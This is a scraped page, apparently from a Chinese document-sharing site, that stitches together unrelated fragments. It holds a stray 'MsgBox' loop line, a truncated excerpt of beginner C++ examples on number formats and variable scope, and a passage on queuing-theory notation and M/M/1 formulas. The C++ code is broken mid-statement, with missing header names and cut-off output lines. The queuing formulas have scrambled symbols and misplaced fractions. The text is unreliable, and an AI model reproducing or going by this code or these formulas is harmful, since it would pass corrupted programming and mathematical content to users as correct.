a,0,"MsgBox" loop

c++经典代码大全

#include //包含iostream.h头文件 main() { //声明变量,并初始化 int a=010,b=10,c=0X10; //以十进制形式显示数据 cout<<"DEC:"; cout<<" a="< float x=365.5; //声明全局变量 main() { int x=1,y=2; double w=x+y; { double x=1.414,y=1.732,z=3.14; cout<<"inner:x="<

排队论公式

1 排队论公式 构成排队模型的三个主要特征指标 (1) 相继顾客到达间隔时间的分布; (2) 服务时间的分布; (3) 服务台的个数。 根据这三个特征对排队模型进行分类的Kendall 记号: X/Y/Z X :表示相继到达间隔时间的分布; Y :表示服务时间的分布; Z :并列的服务台的数目。 表示相继到达间隔时间和服务时间的各种分布符号 M ——负指数分布(M 是Markov 的字头,因为负指数分布具有无记忆性,即Markov 性) D ——确定型(deterministic) E k ——k 阶爱尔朗(erlang)分布 G —— 一般(general)服务时间的分布 Kendall 符号的扩充 X/Y/Z/A/B/C 其中前三项的意义不变,后三项的意义分别是: A :系统容量限制N ,或称等待空间容量。 B :顾客源数目m 。分有限与无限两种,∞表示顾客源无限,此时一般∞也可省略不写。 C :服务规则,如先到先服务(FCFS),后到后服务(LCFS),优先权服务(PR)等。 (例如某排队问题为M/M/1/∞/∞/FCFS ,则表示顾客到达间隔时间为负指数分布(即泊松流);服务时间为负指数分布;有1个服务台,系统等待空间容量无限(等待制);顾客源无限,采用先到先服务规则。) 一、M/M/1/∞/∞ 设1λρμ =<, 则: 01P ρ=-; s L λ μλ=-,q L ρλμλ=-;1s W μλ =-,q W ρμλ=- 故而:s s L W λ=,q q L W λ=;1s q W W μ=+,s q L L λμ=+ 二、M/M/1/N/∞(系统容量有限) 设λρμ =,则:

相关文档
最新文档